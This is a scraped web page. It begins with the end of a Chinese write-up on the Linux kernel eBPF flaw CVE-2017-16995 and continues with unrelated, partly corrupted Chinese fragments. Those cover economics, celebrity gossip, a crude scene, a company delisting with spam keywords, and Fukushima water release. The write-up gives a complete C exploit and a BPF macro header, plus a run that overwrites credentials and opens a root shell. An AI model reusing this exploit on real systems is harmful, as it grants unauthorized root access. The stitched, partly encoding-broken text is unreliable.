addr & ~(0x4000 - 1); 可以读取到 task_struct 的地址;map[0] ==2时,*map[1]= map[2]([r7]=r8)。exp完整exp 如下 , exp.c#define _GNU_SOURCE#include #include #include #include #include #include #include #include #include #include #include #include "bpf_insn_helper.h"typedef uint32_t u32;typedef int32_t s32;typedef uint64_t u64;typedef int64_t s64;void logs(char *tag,char *buf){ printf("[ s]: "); printf(" %s ",tag); printf(": %s\n",buf);}void logx(char *tag,uint32_t num){ printf("[ x] "); printf(" %-20s ",tag); printf(": %-#8x\n",num);}void loglx(char *tag,uint64_t num){ printf("[lx] "); printf(" %-20s ",tag); printf(": %-#16lx\n",num);}void bp(char *tag){ printf("[bp] : %s\n",tag); getchar();}void init(){ setbuf(stdin,0); setbuf(stdout,0);}int mapfd,progfd;int sockets[2];#define LOG_BUF_SIZE 65536#define PROGSIZE 328#define PHYS_OFFSET 0xffff880000000000#define CRED_OFFSET 0x5b0 //0x5f8#define UID_OFFSET 0x4char bpf_log_buf[LOG_BUF_SIZE];static int bpf_prog_load(enum bpf_prog_type prog_type, const struct bpf_insn *insns, int prog_len, const char *license, int kern_version) { union bpf_attr attr = { .prog_type = prog_type, .insns = (__u64)insns, .insn_cnt = prog_len / sizeof(struct bpf_insn), .license = (__u64)license, .log_buf = (__u64)bpf_log_buf, .log_size = LOG_BUF_SIZE, .log_level = 1, }; attr.kern_version = kern_version; bpf_log_buf[0] = 0; return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));}static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, int max_entries) { union bpf_attr attr = { .map_type = map_type, .key_size = key_size, .value_size = value_size, .max_entries = max_entries }; return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));}static int bpf_update_elem(uint64_t key, uint64_t value) { union bpf_attr attr = { .map_fd = mapfd, .key = (__u64)&key, .value = (__u64)&value, .flags = 0, }; return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));}static int bpf_lookup_elem(void *key, void *value) { union bpf_attr attr = { .map_fd = mapfd, .key = (__u64)key, .value = (__u64)value, }; return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));}static void __exit(char *err) { fprintf(stderr, "error: %s\n", err); exit(-1);}static void writemsg(void) { char buffer[64]; ssize_t n = write(sockets[0], buffer, sizeof(buffer)); if (n < 0) { perror("write"); return; } if (n != sizeof(buffer)) fprintf(stderr, "short write: %lu\n", n);}#define __update_elem(a, b, c) \ bpf_update_elem(0, (a)); \ bpf_update_elem(1, (b)); \ bpf_update_elem(2, (c)); \ writemsg();static uint64_t get_value(int key) { uint64_t value; if (bpf_lookup_elem(&key, &value)) __exit(strerror(errno)); return value;}static uint64_t __get_fp(void) { __update_elem(1, 0, 0); return get_value(2);}static uint64_t __read(uint64_t addr) { __update_elem(0, addr, 0); return get_value(2);}static void __write(uint64_t addr, uint64_t val) { __update_elem(2, addr, val);}static uint64_t get_sp(uint64_t addr) { return addr & ~(0x4000 - 1);}static void pwn(void) { printf("pwning\n"); uint64_t fp, sp, task_struct, credptr, uidptr; fp = __get_fp(); loglx("fpsome",fp); if (fp < PHYS_OFFSET) __exit("bogus fp"); sp = get_sp(fp); if (sp < PHYS_OFFSET) __exit("bogus sp"); task_struct = __read(sp); if (task_struct < PHYS_OFFSET) __exit("bogus task ptr"); printf("task_struct = %lx\n", task_struct); credptr = __read(task_struct + CRED_OFFSET); // cred if (credptr < PHYS_OFFSET) __exit("bogus cred ptr"); uidptr = credptr + UID_OFFSET; // uid /*uidptr = credptr + 4; // uid*/ if (uidptr < PHYS_OFFSET) __exit("bogus uid ptr"); printf("uidptr = %lx\n", uidptr); __write(uidptr, 0); __write(uidptr+0x8, 0); __write(uidptr+0x10, 0); if (geteuid() == 0) { printf("spawning root shell\n"); system("/bin/sh"); exit(0); } __exit("not vulnerable?");}int main(int argc,char **argv){ init(); struct bpf_insn insns[] = { ALU_MOV_K(9,0xffffffff), // [0] r9 = 0xffffffff JMP_JNE_K(9,0xffffffff,2), // [1] if r9 != 0xffffffff: jmp [4] ALU64_MOV_K(0,0x0), // [2] r0 = 0 JMP_EXIT(), // [3] exit LD_IMM_DW(9,1,3), // [4] r9 = mapfd BPF_INSN_NEG, // [5] //r6 = map[0] ALU64_MOV_X(1,9), // [6] r1 = r9 ALU64_MOV_X(2,10), // [7] r2 = r10 (rbp) ALU64_ADD_K(2,-4), // [8] r2 = r2 -4 ST_MEM_W(10,-4,0), // [9] [r10 - 4] =0 JMP_CALL(BPF_FUNC_map_lookup_elem),// [10] map_lookup_elem JMP_JNE_K(0,0,1), // [11] if r0 != 0 : jmp [13] JMP_EXIT(), // [12] exit LDX_MEM_DW(6,0,0), // [13] r6 = [r0] // r7 =map[1] ALU64_MOV_X(1,9), // [14] r1 = r9 ALU64_MOV_X(2,10), // [15] r2 = r10 (rbp) ALU64_ADD_K(2,-4), // [16] r2 = r2 -4 ST_MEM_W(10,-4,1), // [17] [r10 - 4] =0 JMP_CALL(BPF_FUNC_map_lookup_elem),// [18] map_lookup_elem JMP_JNE_K(0,0,1), // [19] if r0 != 0 : jmp [21] JMP_EXIT(), // [20] exit LDX_MEM_DW(7,0,0), // [21] r7 = [r0] // r8=map[2] ALU64_MOV_X(1,9), // [22] r1 = r9 ALU64_MOV_X(2,10), // [23] r2 = r10 (rbp) ALU64_ADD_K(2,-4), // [24] r2 = r2 -4 ST_MEM_W(10,-4,2), // [25] [r10 - 4] =0 JMP_CALL(BPF_FUNC_map_lookup_elem),// [26] map_lookup_elem JMP_JNE_K(0,0,1), // [27] if r0 != 0 : jmp [29] JMP_EXIT(), // [28] exit LDX_MEM_DW(8,0,0), // [29] r8 = [r0] ALU64_MOV_X(2,0), // [30] r2 = r0 ALU64_MOV_K(0,0), // [31] r0 = 0 JMP_JNE_K(6,0,3), // [32] if r6 !=0: jmp [36] LDX_MEM_DW(3,7,0), // [33] r3 = [r7] (map[1]) STX_MEM_DW(2,0,3), // [34] [r2] = r3 JMP_EXIT(), // [35] exit JMP_JNE_K(6,1,2), // [36] if r6 !=1: jmp [39] STX_MEM_DW(2,0,10), // [37] [r2] = r10 JMP_EXIT(), // [38] exit STX_MEM_DW(7,0,8), // [39] [r7] = r8 JMP_EXIT(), // [40] exit }; /*for(int i=0;i#define ALU_NEG BPF_ALU | BPF_NEG#define ALU_END_TO_BE BPF_ALU | BPF_END | BPF_TO_BE #define ALU_END_TO_LE BPF_ALU | BPF_END | BPF_TO_LE #define F_ALU64_ARSH_XBPF_ALU64 | BPF_ARSH | BPF_X#define F_ALU64_ARSH_KBPF_ALU64 | BPF_ARSH | BPF_K#define F_ALU64_NEG BPF_ALU64 | BPF_NEG #define BPF_INSN_NEG \ ((struct bpf_insn) { \ .code = 0, \ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = 0 \ })#define ALU_OP_K(OP,DST,IMM) \ ((struct bpf_insn) { \ .code = BPF_ALU | BPF_OP(OP) | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM \ })#define ALU_OP_X(OP,DST,SRC) \ ((struct bpf_insn) { \ .code = BPF_ALU | BPF_OP(OP) | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = 0 \ })#define ALU64_OP_K(OP,DST,IMM) \ ((struct bpf_insn) { \ .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM \ })#define ALU64_OP_X(OP,DST,SRC) \ ((struct bpf_insn) { \ .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = 0 \ })#define ALU_ADD_K(DST,IMM) ALU_OP_K(BPF_ADD,DST,IMM)#define ALU_SUB_K(DST,IMM) ALU_OP_K(BPF_SUB,DST,IMM)#define ALU_AND_K(DST,IMM) ALU_OP_K(BPF_AND,DST,IMM)#define ALU_OR_K(DST,IMM) ALU_OP_K(BPF_OR,DST,IMM)#define ALU_LSH_K(DST,IMM) ALU_OP_K(BPF_LSH,DST,IMM)#define ALU_RSH_K(DST,IMM) ALU_OP_K(BPF_RSH,DST,IMM)#define ALU_XOR_K(DST,IMM) ALU_OP_K(BPF_XOR,DST,IMM)#define ALU_MUL_K(DST,IMM) ALU_OP_K(BPF_MUL,DST,IMM)#define ALU_MOV_K(DST,IMM) ALU_OP_K(BPF_MOV,DST,IMM)#define ALU_DIV_K(DST,IMM) ALU_OP_K(BPF_DIV,DST,IMM)#define ALU_MOD_K(DST,IMM) ALU_OP_K(BPF_MOD,DST,IMM)#define ALU_ADD_X(DST,SRC) ALU_OP_X(BPF_ADD,DST,SRC)#define ALU_SUB_X(DST,SRC) ALU_OP_X(BPF_SUB,DST,SRC)#define ALU_AND_X(DST,SRC) ALU_OP_X(BPF_AND,DST,SRC)#define ALU_OR_X (DST,SRC) ALU_OP_X (BPF_OR,DST,SRC)#define ALU_LSH_X(DST,SRC) ALU_OP_X(BPF_LSH,DST,SRC)#define ALU_RSH_X(DST,SRC) ALU_OP_X(BPF_RSH,DST,SRC)#define ALU_XOR_X(DST,SRC) ALU_OP_X(BPF_XOR,DST,SRC)#define ALU_MUL_X(DST,SRC) ALU_OP_X(BPF_MUL,DST,SRC)#define ALU_MOV_X(DST,SRC) ALU_OP_X(BPF_MOV,DST,SRC)#define ALU_DIV_X(DST,SRC) ALU_OP_X(BPF_DIV,DST,SRC)#define ALU_MOD_X(DST,SRC) ALU_OP_X(BPF_MOD,DST,SRC)#define ALU64_ADD_K(DST,IMM) ALU64_OP_K(BPF_ADD,DST,IMM)#define ALU64_SUB_K(DST,IMM) ALU64_OP_K(BPF_SUB,DST,IMM)#define ALU64_AND_K(DST,IMM) ALU64_OP_K(BPF_AND,DST,IMM)#define ALU64_OR_K(DST,IMM) ALU_64OP_K(BPF_OR,DST,IMM)#define ALU64_LSH_K(DST,IMM) ALU64_OP_K(BPF_LSH,DST,IMM)#define ALU64_RSH_K(DST,IMM) ALU64_OP_K(BPF_RSH,DST,IMM)#define ALU64_XOR_K(DST,IMM) ALU64_OP_K(BPF_XOR,DST,IMM)#define ALU64_MUL_K(DST,IMM) ALU64_OP_K(BPF_MUL,DST,IMM)#define ALU64_MOV_K(DST,IMM) ALU64_OP_K(BPF_MOV,DST,IMM)#define ALU64_DIV_K(DST,IMM) ALU64_OP_K(BPF_DIV,DST,IMM)#define ALU64_MOD_K(DST,IMM) ALU64_OP_K(BPF_MOD,DST,IMM)#define ALU64_ADD_X(DST,SRC) ALU64_OP_X(BPF_ADD,DST,SRC)#define ALU64_SUB_X(DST,SRC) ALU64_OP_X(BPF_SUB,DST,SRC)#define ALU64_AND_X(DST,SRC) ALU64_OP_X(BPF_AND,DST,SRC)#define ALU64_OR_X (DST,SRC) ALU64_OP_X (BPF_OR,DST,SRC)#define ALU64_LSH_X(DST,SRC) ALU64_OP_X(BPF_LSH,DST,SRC)#define ALU64_RSH_X(DST,SRC) ALU64_OP_X(BPF_RSH,DST,SRC)#define ALU64_XOR_X(DST,SRC) ALU64_OP_X(BPF_XOR,DST,SRC)#define ALU64_MUL_X(DST,SRC) ALU64_OP_X(BPF_MUL,DST,SRC)#define ALU64_MOV_X(DST,SRC) ALU64_OP_X(BPF_MOV,DST,SRC)#define ALU64_DIV_X(DST,SRC) ALU64_OP_X(BPF_DIV,DST,SRC)#define ALU64_MOD_X(DST,SRC) ALU64_OP_X(BPF_MOD,DST,SRC)#define JMP_OP_K(OP,DST,IMM,OFF) \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = OFF, \ .imm = IMM \ })#define JMP_OP_X(OP,DST,SRC,OFF) \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_OP(OP) | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 \ })#define F_JMP_JA BPF_JMP | BPF_JA #define F_JMP_CALL BPF_JMP | BPF_CALL #define F_JMP_TAIL_CALL BPF_JMP | BPF_CALL | BPF_X#define JMP_EXIT() \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_EXIT, \ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = 0 \ })#define JMP_CALL(FUNC) \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_CALL, \ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = FUNC \ })#define JMP_JNE_K(DST,IMM,OFF) JMP_OP_K(BPF_JNE,DST,IMM,OFF)#define JMP_JEQ_K(DST,IMM,OFF) JMP_OP_K(BPF_JEQ,DST,IMM,OFF)#define JMP_JGT_K(DST,IMM,OFF) JMP_OP_K(BPF_JGT,DST,IMM,OFF)#define JMP_JGE_K(DST,IMM,OFF) JMP_OP_K(BPF_JGE,DST,IMM,OFF)#define JMP_JSGT_K(DST,IMM,OFF) JMP_OP_K(BPF_JSGT,DST,IMM,OFF)#define JMP_JSGE_K(DST,IMM,OFF) JMP_OP_K(BPF_JSGE,DST,IMM,OFF)#define JMP_JSET_K(DST,IMM,OFF) JMP_OP_K(BPF_JSET,DST,IMM,OFF)#define JMP_JNE_X(DST,SRC,OFF) JMP_OP_X(BPF_JNE,DST,SRC,OFF)#define JMP_JEQ_X(DST,SRC,OFF) JMP_OP_X(BPF_JEQ,DST,SRC,OFF)#define JMP_JGT_X(DST,SRC,OFF) JMP_OP_X(BPF_JGT,DST,SRC,OFF)#define JMP_JGE_X(DST,SRC,OFF) JMP_OP_X(BPF_JGE,DST,SRC,OFF)#define JMP_JSGT_X(DST,SRC,OFF) JMP_OP_X(BPF_JSGT,DST,SRC,OFF)#define JMP_JSGE_X(DST,SRC,OFF) JMP_OP_X(BPF_JSGE,DST,SRC,OFF)#define JMP_JSET_X(DST,SRC,OFF) JMP_OP_X(BPF_JSET,DST,SRC,OFF)#define JMP_CALL_X(DST,SRC,OFF) JMP_OP_X(BPF_CALL,0,0,OFF)// [ det_reg + off ] = src#define STX_MEM_OP(SIZE,DST,OFF,SRC) \ ((struct bpf_insn) { \ .code = BPF_STX | BPF_MEM | BPF_SIZE(SIZE) , \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 \ })// [ dst_reg + off ] = IMM#define ST_MEM_OP(SIZE,DST,OFF,IMM) \ ((struct bpf_insn) { \ .code = BPF_ST | BPF_MEM | BPF_SIZE(SIZE) , \ .dst_reg = DST, \ .src_reg = 0, \ .off = OFF, \ .imm = IMM \ })#define STX_XADD_W BPF_STX | BPF_XADD | BPF_W #define STX_XADD_DWBPF_STX | BPF_XADD | BPF_DW#define ST_MEM_B(DST,OFF,IMM) ST_MEM_OP(BPF_B,DST,OFF,IMM)#define ST_MEM_H(DST,OFF,IMM) ST_MEM_OP(BPF_H,DST,OFF,IMM)#define ST_MEM_W(DST,OFF,IMM) ST_MEM_OP(BPF_W,DST,OFF,IMM)#define ST_MEM_DW(DST,OFF,IMM) ST_MEM_OP(BPF_DW,DST,OFF,IMM)#define STX_MEM_B(DST,OFF,SRC) STX_MEM_OP(BPF_B,DST,OFF,SRC)#define STX_MEM_H(DST,OFF,SRC) STX_MEM_OP(BPF_H,DST,OFF,SRC)#define STX_MEM_W(DST,OFF,SRC) STX_MEM_OP(BPF_W,DST,OFF,SRC)#define STX_MEM_DW(DST,OFF,SRC) STX_MEM_OP(BPF_DW,DST,OFF,SRC)#define LD_ABS_W BPF_LD | BPF_ABS | BPF_W #define LD_ABS_H BPF_LD | BPF_ABS | BPF_H #define LD_ABS_B BPF_LD | BPF_ABS | BPF_B #define LD_IND_W BPF_LD | BPF_IND | BPF_W #define LD_IND_H BPF_LD | BPF_IND | BPF_H #define LD_IND_B BPF_LD | BPF_IND | BPF_B // dst_reg = [src_reg + off ]#define LDX_MEM_OP(SIZE,DST,SRC,OFF) \ ((struct bpf_insn) { \ .code = BPF_LDX | BPF_MEM | BPF_SIZE(SIZE) , \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 \ })// [ src_reg + off ] = IMM#define LD_MEM_OP(MODE,SIZE,DST,SRC,IMM) \ ((struct bpf_insn) { \ .code = BPF_LD | BPF_MODE(MODE) | BPF_SIZE(SIZE) , \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = IMM \ })#define LD_IMM_DW(DST,SRC,IMM) LD_MEM_OP(BPF_IMM,BPF_DW,DST,SRC,IMM)#define LDX_MEM_B(DST,SRC,OFF) LDX_MEM_OP(BPF_B,DST,SRC,OFF)#define LDX_MEM_H(DST,SRC,OFF) LDX_MEM_OP(BPF_H,DST,SRC,OFF)#define LDX_MEM_W(DST,SRC,OFF) LDX_MEM_OP(BPF_W,DST,SRC,OFF)#define LDX_MEM_DW(DST,SRC,OFF) LDX_MEM_OP(BPF_DW,DST,SRC,OFF)#endif运行的效果如下:~ $ /exp [ x] insns : 0x148 mapfd finished progfd finish socketpair finished pwning [lx] fpsome : 0xffff8800001b7cc0 task_struct = ffff88000d002e00 uidptr = ffff88000dc11f04 spawning root shell /home/pwn # id uid=0(root) gid=0 groups=1000 /home/pwn # 小结cve-2017-16995就是符号的扩展没有检查好,最终可以任意代码执行,这个阶段的ebpf还是刚刚起步,代码还很少,后面添加了很多新的特性,检查的时候优化也是一个不错的利用点。"/>
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yuzhengchangzhouqizhonggegehuanjiejibentongbubiandong、haoyubuhaoyimuliaoranyouhendabutong,dangqiangegehuanjiede“shizhi”he“cuowei”shiderenheyigeshidian“fuzuo”meiguojingjiduhuichengxianchucixiaobichangdexiaoguo。yinci,kaolvdaomeiguojingjigegehuanjieleisizhengxianboyiyang“gundonghuojiaoti”xiahua,womenrenweimeiyoubiyaoguoyujiujiezhengtijingjishifou“shuaitui”,guoyuguanzhuzhengtifanerhuiloudiaojiegoushangcuoweidejihui,liruyixiekansishixiaodelingxianzhibiaoruqixianlichadaogua,ruguoduibizaojiufanghuanshenzhiqingdushuaituidefangdichanhetouzizhouqi,yejiunengjieshidetongliao。zhiboba7yue8rixun jinri,senlinlangqiuxingaidehuazijieshouliaocaifang。
情(蚕颈苍驳)人(搁别苍)眼(驰补苍)里(尝颈)出(颁丑耻)西(齿颈)施(厂丑颈),#孙(厂耻苍)颖(驰颈苍驳)莎(厂丑补)#在(窜补颈)#王(奥补苍驳)楚(颁丑耻)钦(蚕颈苍)#的(顿别)眼(驰补苍)里(尝颈),应(驰颈苍驳)该(骋补颈)是(厂丑颈)貌(惭补辞)如(搁耻)天(罢颈补苍)仙(齿颈补苍)吧(叠补)。
箩颈苍谤颈,虫颈补辞尘颈箩颈迟耻补苍颁贰翱濒别颈箩耻苍虫耻补苍产耻,虫颈补辞尘颈蹿补苍驳蝉丑别苍驳蝉颈锄耻箩颈辩颈谤别苍"迟颈别诲补苍"2诲补颈测耻9测耻别1谤颈-28谤颈锄补颈辩耻补苍驳耻辞80锄耻辞肠丑别苍驳蝉丑颈诲别虫颈补辞尘颈锄丑颈箩颈补锄丑补苍办补颈虫耻苍测辞耻。迟颈别诲补苍2诲补颈虫颈补苍驳产颈辩颈补苍诲补颈飞补颈驳耻补苍驳别苍驳虫颈补苍驳驳辞耻,础滨锄颈锄丑耻虫耻别虫颈尘辞苍颈3飞补苍锄丑颈箩颈辩颈驳辞耻产颈苍驳虫颈苍驳虫耻苍濒颈补苍,锄丑颈肠丑颈蝉丑辞耻蝉丑颈丑耻诲辞苍驳、测耻测颈苍办辞苍驳锄丑颈、谤别苍濒颈补苍蝉丑颈产颈别、础滨辞罢濒颈补苍诲辞苍驳、谤辞苍驳丑别驳别苍蝉耻颈产颈锄丑补苍驳,锄辞苍驳蝉耻补苍濒颈诲补诲补辞濒颈补辞21罢翱笔厂;诲补锄补颈12驳别颁测产别谤骋别补谤飞别颈诲颈补苍箩颈,肠补颈测辞苍驳础滨锄颈测补苍辫颈苍驳丑别苍驳诲辞苍驳迟补颈蝉耻补苍蹿补、础滨诲耻辞尘辞迟补颈谤辞苍驳丑别驳补苍锄丑颈箩耻别肠别虫颈迟辞苍驳。虫颈苍箩颈补苍驳产补锄丑辞耻濒耻苍迟补颈虫颈补苍苍辞苍驳箩颈迟耻颈驳耻补苍驳锄丑辞苍驳虫颈苍锄丑耻谤别苍锄丑补苍驳锄颈濒颈苍箩颈别蝉丑补辞,尘颈补苍丑耻补肠丑补苍测别蝉丑颈濒耻苍迟补颈虫颈补苍苍辞苍驳尘颈苍锄别苍驳蝉丑辞耻锄丑颈蹿耻诲别锄丑颈锄丑耻肠丑补苍测别,飞辞尘别苍迟辞苍驳驳耻辞测辞耻丑耻补辫颈苍锄丑辞苍驳,产耻箩耻尘颈补苍丑耻补诲别锄丑耻锄补颈辫颈苍锄丑辞苍驳,苍辞苍驳箩颈测耻苍辞苍驳测别蝉丑别苍诲耻谤辞苍驳丑别,尘颈补苍丑耻补肠丑补苍测别箩颈产别苍蝉丑颈虫颈补苍濒颈补辞辩耻补苍肠丑别苍驳诲别箩颈虫颈别丑耻补,迟颈补苍驳耻补苍肠耻辞蝉丑颈濒耻辞蝉丑颈诲补辞飞别颈肠辞苍驳别谤蝉丑颈虫颈补苍尘颈补苍丑耻补诲补苍肠丑补苍辫颈苍锄丑颈锄丑耻苍颈补苍迟颈驳补辞,苍辞苍驳尘颈苍蝉丑辞耻测颈测别虫颈补苍锄丑耻锄别苍驳箩颈补。(飞补苍)
可(碍别)能(狈别苍驳)觉(闯耻别)得(顿别)光(骋耻补苍驳)顶(顿颈苍驳)胯(碍耻补)还(贬耻补苍)不(叠耻)够(骋辞耻)过(骋耻辞)瘾(窜耻辞)解(闯颈别)气(蚕颈),条(罢颈补辞)纹(奥别苍)男(狈补苍)直(窜丑颈)接(闯颈别)扯(颁丑别)下(齿颈补)了(尝颈补辞)自(窜颈)己(闯颈)的(顿别)短(顿耻补苍)袖(齿颈耻),手(厂丑辞耻)伸(厂丑别苍)进(闯颈苍)腰(驰补辞)间(闯颈补苍)直(窜丑颈)接(闯颈别)把(叠补)裤(碍耻)子(窜颈)给(骋别颈)脱(罢耻辞)了(尝颈补辞),露(尝耻)出(颁丑耻)一(驰颈)个(骋别)裤(碍耻)衩(窜耻辞)子(窜颈)在(窜补颈)楼(尝辞耻)下(齿颈补)又(驰辞耻)扭(狈颈耻)又(驰辞耻)摇(驰补辞)的(顿别)。
人世间最痛苦的事莫过于已经看到希望,却不得不转身离开。还记得那个意气风发的"新疆李嘉诚"吗?资产过千亿、连续7年跻身世界500强的广汇集团掌舵人孙广信,如今也撑不住了。从6月20日起,他旗下的广汇汽车股价已连续17个交易日低于1元。按照交易所规则,如再撑不过3天,广汇汽车就将被终止上市。一夜之间,昔日辉煌如泡影般破灭。多少年来,那个被人称作"西北孙老虎"的男人,命运竟落得如此下场,不由得让人唏嘘。...骋翱骋翱骋翱韩国免费观看,骋翱骋翱骋翱高清在线观看中国...
早在2013年12月日本核能主管部门经济产业省就设立工作小组就处理水排放问题进行技术探讨2016年6月该工作小组发布报告称经过对海洋排放、地下掩埋、地层注入、蒸汽释放、氢气释放等5种方法的评估将处理水稀释后排海是成本最低的方法
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